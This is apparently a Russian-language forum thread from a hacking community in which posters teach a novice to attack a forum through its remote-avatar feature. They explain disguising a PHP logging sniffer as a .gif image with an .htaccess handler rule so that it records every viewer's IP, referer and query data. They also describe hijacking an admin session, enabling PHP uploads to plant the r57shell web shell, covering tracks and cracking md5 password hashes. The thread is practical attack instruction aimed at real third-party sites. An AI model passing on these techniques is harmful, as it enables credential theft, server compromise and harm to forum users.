На одном форуме можно указывать в качестве аватара удалённый http-ресурс. При указании этот файл НЕ сохраняется на серваке, а просто указывается его адрес. То есть грузится удалённо. Напрашивается мысль о возможной XSS-атаке. Но я в php не силён. Кто подскажет php-код для этого дела?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Если посмотришь на код, то в директории с этим скриптом должно лежать изображение, которое увидят в качестве аватара и его название судя из скрипта, должно быть avtar, в .gif разрешении. Теперь о том как же нам обмануть форму для указывания ссылки, обычно на форумах ссылку можно указывать на разрешения gif, jpg и png, а скрипт наш имеет разрешение .php, не беда пропиши в .htaccess следующее:
Код
[B]application/x-httpd-php .gif[/B]
это заставит сервер обрабатывать файлы с этим изображением через PHP интерпретатор и код выполнится
Еще раз для тех кто в танке =))) Надо ХОСТ с поддержкой PHP и возможностью устанавливать .htaccess настройки на директивы. Дальше к примеру создаешь скрипт с моим исходным кодом и даешь ему название snif.gif(с разрешением .gif), а также помещаешь в туже директиву файл с нужным аватаром avatar.gif, потом пишешь туда еще .htaccess, с содержимым, что я дал, к примеру все будет в корневом каталоге твоего сайта, вот файлы: www.yoursite.com/snif.gif www.yoursite.com/avatar.gif Теперь раскажу как все это будет выглядеть, на том форуме в поле где надо вставить ссылку на аватар, укажи следующюю ссылку http://www.yoursite.com/snif.gif, после того как ты опубликуешь что нибудь на форуме, там будет в поле аватара вставлятся твоя ссылка в исходном коде генерируемой ссылки это будет выглядеть так:
Код
lt;img src=http://www.yoursite.com/snif.gif gt;
При генерации страницы браузер начнет грузить изображение с указанного тобой сайта, он сделает к нему обращение, вот только это не изображение, а код снифера, который сначала выполнится, запишет все в LOG-файл, а потом выведет изображение avatar.gif, которое будет у тебя на форуме в качестве аватара ВСЕ!!! =)))
<font color=RED>З.Ы. На форуме может стоять на это фильтр(защита)</font> З.Ы.2 Все названия сайтов я придумал.
Видишь справа от форума, есть поле Софт, там высвечивает три самые последне добавленные ссылки на софт, так что скоро и исчезнет. Так там есть ссылка на <a href=http://www.securitylab.ru/tools/43443.html rel="nofollow" target="_blank">r57shell v1.22</a> неплохой шелл. Как же его в твоем случае запихнуть. В твоем случае надо перехватить сессию админа, потом зайти в админку, там есть раздел для загрузки файлов на форум, поумолчанию там стоит jpg, gif и png, добавишь php, зальешь файл на атакуемый хост, потом в качестве заметения следов удалишь из этого поля допуск на закачку PHP и можешь юзать шелл. Писал описания для большинства форумов, но на некоторых непрокатит, например для IPB, для входа в админку надо ввести пароль, так что еще скорее всего надо будет расшифровывать md5hash.
для IPB, для входа в админку надо ввести пароль, так что еще скорее всего надо будет расшифровывать md5hash.
Это для IPB v1.x.x Для IPB v2.x.x - не прокатит: там дважды шифруется по md5. У меня как раз аналогичная ситуация: доступ по паролю, да ещё непонятно как зашифровано: явно не md5
Цитата
В твоем случае надо перехватить сессию админа, потом зайти в админку, там есть раздел для загрузки файлов
Это всё понятно: когда-то именно так и делал. Но вопрос несколько другой: вот я могу вместо аватара вставить скрипт. Можно ли этим воспользоваться и вставить шелл-скрипт? По идее он должен выполняться, но у меня не выполнялся... Грузился, но результата работы я не увидел...
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
/* сдесь нужно было внутри скобок всё выражение обрамить с обоих сторон " */
header(Location: avatar.gif);
? gt;/* пробела между этими символами быть не должно */
Надо полагать, это просто невнимательность, замаскированная под защиту от дурака
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Shanker пишет: Dimitri Что-то твой сниффер не хочет куки тырить. Вот что получил: [12.7.2005 19:43:40] IP=*.*.*.* REFERER=http://www.site.com/newreply.php QUERY=
Не путай ежа с ужом, куки снифер тырить не будет, для этого надо тебе искать возможность обойти фильтр на script и вставить туда jаvаscriрt, Phoenix тебе на хорошую статью поэтому поводу кинул линк =))) З.Ы. Некоторые форумы несут индикатор сессии не только в куках, к примеру такой форум как forum.xakep.ru передает пароль и имя юзаря в QUERY запросе, в чистом и не зашифрованном виде =)))
Цитата
Shanker пишет: Это для IPB v1.x.x Для IPB v2.x.x - не прокатит: там дважды шифруется по md5.
я знаю (у меня стоит IPB форум), то я так написал, поскольку думал что ты не особо его знаешь и зачем было тогда усложнять ответ
Цитата
Shanker пишет: У меня как раз аналогичная ситуация: доступ по паролю, да еще непонятно как зашифровано: явно не md5
Может DES hash, попробуй. И вообще если форум самопальный, то сам бог знает, что там его создатель придумал, я бы лично при создании сессий генерировал бы так, привязал бы ник к текущему времени на сервере, приплюсовал бы к нему текущую температуру процессора и обработал по какой нибудь математической формуле, и сопоставлял в отдельной базе полученный мною идентификационный сгенерированый ключ, кукам и конкретному пользователю, при выхода из акаунта(пере авторизации, этот ключ удалял. Даже если ты будешь знать по какой формуле я , я сделал, чтобы скрипт генерировал ключи для пользователей, ты не сможешь его расшифровать, поскольку ты не знаешь, точного времени авторизации юзаря и к примеру температуры процессора на сервере. Это все ИМХО, я бы лично так делал авторизацию и дальнейшую аутентификацию пользователей на моем форуме и думаю в ближайшее время так и сделаю (С температурой процессора я пошутил, хотя кто знает можно сделать так, что бы сервер обращался в метеорологический центр и брал там к примеру текущую температуру, какого нибудь вулкана:)
А откуда собственно скипт запускать, есть у меня аккаунт на платном хостинге, но там я изменять htaccess не могу, так как прописав application/x-httpd-php .gif, мой сайт нормально работать не будет, а он должен как часы работать, и вот еще один ламоботский вопрос - что такое шелл?
На форуме сайта sem40.ru(phpbb), я такую феньку проделать попытался, но в итоге аватарка не отображалась заменялась на такое вот значение lt;img src="images/avatars/145376803142d57abd27b82.gif" alt="" border="0" / gt;
/* сдесь нужно было внутри скобок всё выражение обрамить с обоих сторон " */
header(Location: avatar.gif);
? gt;/* пробела между этими символами быть не должно */
Надо полагать, это просто невнимательность, замаскированная под защиту от дурака
Никакой невнимательности и защиты от дурака нет, просто я в скрипте в основном использовал одинарные кавычки, а движок форума так настроен из соображений безопасности, что бы их опускать...
Вот тут можете просмотреть полную версию снифера <a href=http://anti-hit.narod.ru/snif.txt rel="nofollow" target="_blank">snif.txt</a>
Master_Iodo пишет: А откуда собственно скрипт запускать, есть у меня аккаунт на платном хостинге, но там я изменять htaccess не могу, так как прописав application/x-httpd-php .gif, мой сайт нормально работать не будет, а он должен как часы работать
Я чего то непонял так у тебя есть возможность использования htaccess или нет? Вобще то все должно работать, ведь в главном конфиге на серваке должно быть указанно:
а если уж сильно сомневаешься, то создай отдельную директорию для снифера, помести его туда и помести в ту директорию htaccess с содержимым:
Код
[B]application/x-httpd-php .gif[/B]
и действие его будет распространяться только на ту директорию, а не на весь сайт =))) Вобще то если не понял, то это обычная команда объясняющая тип серверу, например этой командой <font color=RED>application/x-httpd-php .php</font> мы всего лишь объясняем серверу, что файлы с разрешением .php нужно обрабатывать через PHP интерпретатор, этаже история и с .gif, единственный минус, так это то, что увеличится в случае если ты будешь использовать .gif через интерпретатор PHP нагрузка на сервер, поскольку графические изображения будут проходить через интерпретатор
Цитата
Master_Iodo пишет: что такое шелл?
1)Для начала, хотя бы прочитал <a href=http://www.securitylab.ru/forum/forum_posts.asp?TID=4918 PN=1 rel="nofollow" target="_blank">FAQ</a> форума(там есть ответ) 2)Учись пользоваться поисковиками <a href=http://www.google.com.ua/search?q=%D1%87%D1%82%D0%BE%2B%D1%82%D0%B0%D0%BA%D0%BE%D0%B5%2B%D1%88%D0%B5%D0%BB%D0%BB rel="nofollow" target="_blank"> http://www.google.com.ua/search?q=%D1%87%D1%82%D0%BE%2B%D1%8 2%D0%B0%D0%BA%D0%BE%D0%B5%2B%D1%88%D0%B5%D0%BB%D0%BB </a>
Не путай ежа с ужом, куки снифер тырить не будет, для этого надо тебе искать возможность обойти фильтр на script и вставить туда jаvаscriрt, Phoenix тебе на хорошую статью поэтому поводу кинул линк =))) З.Ы. Некоторые форумы несут индикатор сессии не только в куках, к примеру такой форум как forum.xakep.ru передает пароль и имя юзаря в QUERY запросе, в чистом и не зашифрованном виде =)))
Я так понимаю, QUERY - эта переменные окружения, то, что передаётся серваку как параметр в браузере? Почему-то у меня QUERY всегда пусто на любых форумах. Зато в реферере передаются некоторые параметры Насчёт форума на Хакер.Ру : только при предпросмотре такая фишка: после публикации ни логина ни пасса не передаётся. Кстати, на этом же форуме (в смысле Хакер.Ру) QUERY тоже чист, опять в реферрере передалось user= и password= В скрипте нет ошибки или я чего-то не понимаю?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."